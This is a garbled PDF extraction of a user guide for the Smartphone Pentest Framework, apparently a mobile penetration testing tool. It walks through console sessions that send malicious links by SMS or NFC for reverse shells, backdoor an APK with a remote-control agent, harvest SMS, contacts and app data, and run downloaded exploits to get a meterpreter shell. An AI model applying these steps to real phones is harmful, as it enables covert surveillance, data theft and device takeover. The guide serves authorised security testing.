SPF User Guide - Bulb Security For Dummies
SPF User Guide - Bulb Security For Dummies
CONTACT US
TODAY
CONTENT NAVIGATION
Installation
Kali:
Many of the prerequisites for SPF are already installed on Kali Linux Submit
including MySQL, Apache2, and the Android SDK. After cloning the
git repository for SPF change directories to the newly created
Smartphone-Pentest-Framework directory and run the kaliinstall
script as shown below.
TESTIMONIALS
1 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
root@kali:~# cd Smartphone-Pentest-Framework
MEDIA ACTIVITY ABOUT CONTACT
root@kali:~/Smartphone-Pentest-Framework# Student, Traini
Veenendaal, Ne
./kaliinstall
The kaliinstall script will install any necessary Android components, set
up the empty Mysql database, and start the web server.
Ubuntu:
The installation process is similar for Ubuntu Linux. Clone the git
repository for SPF and change directories to the Smartphone-Pentest-
Framework directory that is created by git. Run the ubuntuinstall script.
This will install the prerequisites such as the Android SDK, Mysql, and
Apache2 if they are not already installed. It will also setup an empty
database and start the web server.
Setting Up
The install scripts for your platform will automatically start the database
and webserver for use with SPF. On subsequent uses you will need to
start your database and webserver manually before starting SPF. On both
Kali and Ubuntu use service <service to start> start to start the database
and webserver. SPF currently supports Apache2 as the webserver.
root@kali:~/Smartphone-Pentest-Framework
/frameworkconsole# service apache2 start
root@kali:~/Smartphone-Pentest-Framework
2 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
root@kali:~/Smartphone-Pentest-Framework
/frameworkconsole# cat config
WEBSERVER = /var/www
IPADDRESS = 192.168.20.9
SHELLIPADDRESS = 192.168.20.9
MYSQLSERVER = 127.0.0.1
..snip…
The IPADDRESS option should be set to the IP address of your webserver. The
SHELLIPADDRESS option should be set to the IP address where listeners
should listen for incoming shells.
Other options in the con guration le include paths to software and database
login information.
Running SPF
Now you are ready to run the SPF server. Start SPF from the
frameworkconsole directory. Run framework.py and you should be presented
3 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
v0.2.5
0.) Exit
spf>
SPF stores information about Agents, attacks, etc. in the database. To clear out any
data from the database or set it up for the rst time choose option 7.) Clear/Create
Database from the main menu. You will be prompted to make sure you want to
destroy all your logs. Type y.
spf> 7
This will destroy all your data. Are you sure you want to?
(y/N)?y
4 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
If this is successful you know you SPF can successfully communicate with the database.
HOME SERVICES PRODUCTS PUBLIC SPEAKING
If an error is thrown check that the database server is running and the options in the
con g le are correct.
MEDIA ACTIVITY ABOUT CONTACT
SPF allows you to run attacks from a mobile device using SMS, NFC, etc. Rather than
using a paid service, you can attach SPF to a mobile device you already own including
an Android phone/tablet or USB modem.
SPF App
One option for the mobile modem is installing the SPF App on your Android phone. It
will allow you to control and interact with the SPF console and SPF Agents (discussed
later in this manual). The SPF App interacts with the SPF console via HTTP. The SPF App
can interact with SPF Agents via SMS as well as send SMS and NFC based attacks to
other devices.
Choose option 4 at the main menu. Then choose 3.) Generate smartphone based app.
You will have the option to build the SPF App for Android without NFC or the SPF App
for Android with NFC. The NFC. The App with NFC requires Android 4.0 or later and a
NFC enabled device. The App without NFC requires Android 1.6 or later (i.e. any device
even G1).
You will be prompted for information about the Agent that will be controlled by this App.
Enter the phone number, HTTP check in URL, and 7 digit control key. These will be the
same as the Agent we will discuss later in this manual.
spf> 4
Choose a type of modem to attach to:
5 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 3
2.) Android App with NFC (Android 4.0 and NFC enabled device)
spf> 1v
Control Number:15555215556
Control Key:KEYKEY1
Control Path:/bookspf
Is this correct?(y/n)y
...snip...
-post-build:
debug:
BUILD SUCCESSFUL
6 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
MEDIA ACTIVITY
1.) Search for attached modem
ABOUT CONTACT
spf> 5
emulator-5554 device
emulator-5556 device
emulator-5558 device
Which App?
spf> 2
pkg: /data/local/tmp/FrameworkAndroidApp.apk
Success
Alternatively, SPF will upload the App to the web server in the con g le. Choose option 4 at the
main menu and then option 4.) Copy App to Webserver. Choose which App to upload (with NFC or
without). Then specify the path and lename on the web server where you would like to upload the
App.
7 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 4
Which App?
spf> 2
Filename: /app.apk
Using the browser on your Android device, browse to the link and download and install the App.
spf> 2
8 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
Connect to a smartphone management app. You will need to supply the phone
HOME SERVICES PRODUCTS PUBLIC SPEAKING
number, the control key, and the URL path
Is this correct?(y/N): y
The SPF console will appear to hang as it waits for the App to check in.
Open the App on the Android device. As shown in the Figure below ll in the IP address of the SPF console
as well as the same values for the control key and URL path as you entered in the SPF console.
The App and the console will perform a handshake with each other. The App will open a command menu
and the console will return to the main menu. Now the device is attached and may be used for mobile
modem functionality with SPF.
USB Modem
Another option for sending mobile modem based attacks and commands is to attach a USB modem with a
SIM card to the machine with the SPF console. Currently the only supported USB modem is a Zoom 4595.
Attach the modem to the SPF console machine. Choose option 4 at the main menu followed by option 1.)
Search for attached modem. If a USB modem is present at the correct serial port SPF will attempt to send
commands to it. If it is successful the device will be added to the database as a mobile modem. If you use
the USB device to send commands to Agents or run mobile modem based attacks SPF will use AT
commands to interact with the USB modem.
spf> 4
9 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
ATZ
OK
SPF can be used to stage remote attacks on mobile devices where such vulnerabilities exist.
spf> 8
spf> 1
Select An Exploit:
spf> 1
10 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
SPF will call Metasploit (verify the Metasploit path in the con guration le) and run the relevant module. If the iPho
vulnerable, you will be presented with a root command shell on the iPhone.
More common on modern computing platforms, mobile devices included, are client side attacks.
You will be prompted for the URL path and page name for the malicious page as well as the delivery method to en
a mobile user to open the malicious page. Client side attacks can be delivered via SMS or NFC. To send the attack
SMS you will need to specify the recipient phone number. The SPF console will appear to hang as it is waiting for t
incoming shell. The listener will time out and return to the main menu if a shell does not arrive.
spf> 6
spf> 2
11 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 1
HOME SERVICES PRODUCTS PUBLIC SPEAKING
Hosting Path: /spfbook2
Custom text(y/N)? N
You can use custom text for the message or the default “This is a cool page: ” message.
If the user clicks on the link and the browser is vulnerable to the attack a shell will be thrown back to the IP address
in the con guration le for SHELLIPADDRESS. The id command will be automatically run when the shell connects
then run commands that Android knows. Type exit when you are done with the shell.
/system/bin/ls
sqlite_stmt_journals
..snip..
exit
spf> 6
12 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
Filename: /book2.html
SPF Agents
Another way of attacking mobile devices is enticing users to install a malicious application. SPF uses Agents inside
apps. SPF Agents include a variety of functionality including payloads for remote control, information gathering, at
installed apps, and even attacking other devices.
You will be prompted for the phone number of the mobile modem that can control this Agent, the check in URL pa
character key. These values should be the same as the values you entered when creating the corresponding app if
spf> 1
spf> 2
13 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
1.) MapsDemo
HOME SERVICES PRODUCTS PUBLIC SPEAKING
2.) BlankFrontEnd
Control Number:15555215554
Control Key:KEYKEY1
Control Path:/androidagent1
Is this correct?(y/n) y
..snip..
BUILD SUCCESSFUL
The Android Agent will be automatically built using the source code template speci ed using the Android SDK.
To backdoor an APK choose option 1 from the main menu followed by 5.) Backdoor APK with Agent. You will be pr
to backdoor. If apktool is not found SPF will ask you if you want to download it before continuing.
spf> 1
14 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 5
HOME SERVICES PRODUCTS PUBLIC SPEAKING
APKTool not found! Is it installed? Check your config file
spf> y
..snip..
Puts the Android Agent inside an Android App APK. The application runs normally with
functionality
I: Baksmaling...
..snip..
You will be prompted for the same information for control as backdooring source code.
Control Key:KEYKEY1
ControlPath:/androidagent1
Is this correct?(y/n) y
..snip..
15 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
MEDIA ACTIVITY
Archive: /root/Desktop/abcnews.apk
ABOUT CONTACT
..snip..
Inflating: unzipped/META-INF/CERT.RSA
..snip..
signing: resources.arsc
spf> 6
spf> 1
This module sends an SMS with a link to directly download and install an Agent
16 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
Custom text(y/N)? N
If the user installs the Agent it will look and feel like the original app, but will have additional functionality.
spf> 1
spf> 1
This will set up handlers to control an agent that has already been deployed.
17 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
After the check in is completed, from the main menu choose option 2. The Available Agents list should show the p
spf> 2
Available Agents:
1.) 15555215556
spf> 2
Available Agents:
1.) 15555215556
spf> 1
Commands:
18 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 14
Give SPF about a minute to nish the command (some commands such as running Nmap as discussed below will
choose option 3. At the prompt type Agents to see details about an Agent (SPF also stores information about attac
The Packages eld should be lled in with the results of the command.
spf> 3
Agents or Attacks?Agents
Available Agents:
1.) 15555215556
spf> 1
Data:
SMS Database:
19 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
Contacts:
HOME SERVICES PRODUCTS PUBLIC SPEAKING
Picture Location:
Ping Sweep:
File:
Packages: package:com.google.android.locationv
..snip..
package:com.android.providers.downloads
package:com.android.server.vpn
Commands:
..snip..
spf> 1
Send an SMS message to another phone. Fill in the number, the message to send, and t
Number: 15555215558
Commands:
..snip..
20 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 2
Rooted: RageAgainstTheCage
spf> 10
spf> 3
spf> y
At the Agents command menu choose option 12.) Run Nmap. You will be prompted for the Nmap target. Any targe
21 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
This command can take up to 5 minutes to return its information to the database. The data is in the File eld.
# Nmap 5.61TEST4 scan initiated Sun Sep 1 23:41:30 2014 as: /data/data/com.example.an
/com.example.android.google.apis/files/nmapoutput 192.168.20.10
..snip..
# Nmap done at Sun Sep 1 23:41:33 2014 -- 1 IP address (1 host up) scanned in 3.43 s
The C code needs to be compiled to run on an Android device. The Android cross compiler is included as part of S
option 1.) Compile C code for ARM Android. Give it the C le to compile and the output location.
spf> 9
22 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 1
HOME SERVICES PRODUCTS PUBLIC SPEAKING
Compiles C code to run on ARM based Android devices. Supply the C code file and the
Now for the Agents menu choose option 6.) Download File.
spf> 6
Downloads a file to the phone. Fill in the file and the delivery method(SMS or HTTP)
Before we run the exploit we need to set up a listener to catch the payload. For my example I used a Metasploit W
machine. I will set up the corresponding listener with Metasploit.
Now from the SPF Agents menu choose 7.) Run Command. Run the downloaded exploit. In my case I need to give
phone. If it successfully exploits the victim the payload I created will be run.
spf> 7
Run a command in the terminal. Fill in the command and the delivery method(SMS or HT
23 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
Downloaded?: yes
HOME SERVICES PRODUCTS PUBLIC SPEAKING
Delivery Method(SMS or HTTP): HTTP
meterpreter >
Compile the code with SPF with option 9 at the main menu.
spf> 9
spf> 1
Compiles C code to run on ARM based Android devices. Supply the C code file and the
Download the compiled file to the Agent infected device with option 6 in the Agent C
spf> 6
Downloads a file to the phone. Fill in the file and the delivery method(SMS or HTTP)
Filename: /warftp2
Before running the command choose option 10.) TCP Listener. You will be prompted for the Delivery and Return m
method for the shell. Using SMS our shell we leave the local network out of bounds of the network. You will also n
24 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
spf> 10
HOME SERVICES PRODUCTS PUBLIC SPEAKING
Open a TCP listener on the phone. Fill in the delivery method(SMS or HTTP) and retur
spf> HTTP
spf> SMS
Port:
spf> 4444
spf> 7
Run a command in the terminal. Fill in the command and the delivery method(SMS or HT
Downloaded?: yes
This time the shell will be sent to the Agent infected device that will send any commands and info from the shell to
11.) Connect to Listener from the Agent Commands menu to open the shell. Specify the port and communication m
completely out of band. You may notice a bit of a delay if service is bad.
spf> 11
Connect to a TCP Listener from the agent. Enter the port number of the listener.
Port: 4444
---
ipconfig
25 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
---
---------
------
---
IP Address. . . . . . . . . . . . : 192.168.20.29
...snip...
The exploit code for this and the previous example needs to be in C, but it is not limited to a particular vulnerability
26 of 27 6/14/2016 10:05 AM
SPF User Guide – Bulb Security http://www.bulbsecurity.com/products/smartphone-pentest-framework/spf...
I am quoted in this
@eWEEKNews about the
additional Wendy's
compromises https://t.co
/leepEN0XCv thanks
@TechJournalist
.@shevirahsec received 2
Commonwealth Research
Commercialization Fund
grants: https://t.co
/xDJ9jakbYj
27 of 27 6/14/2016 10:05 AM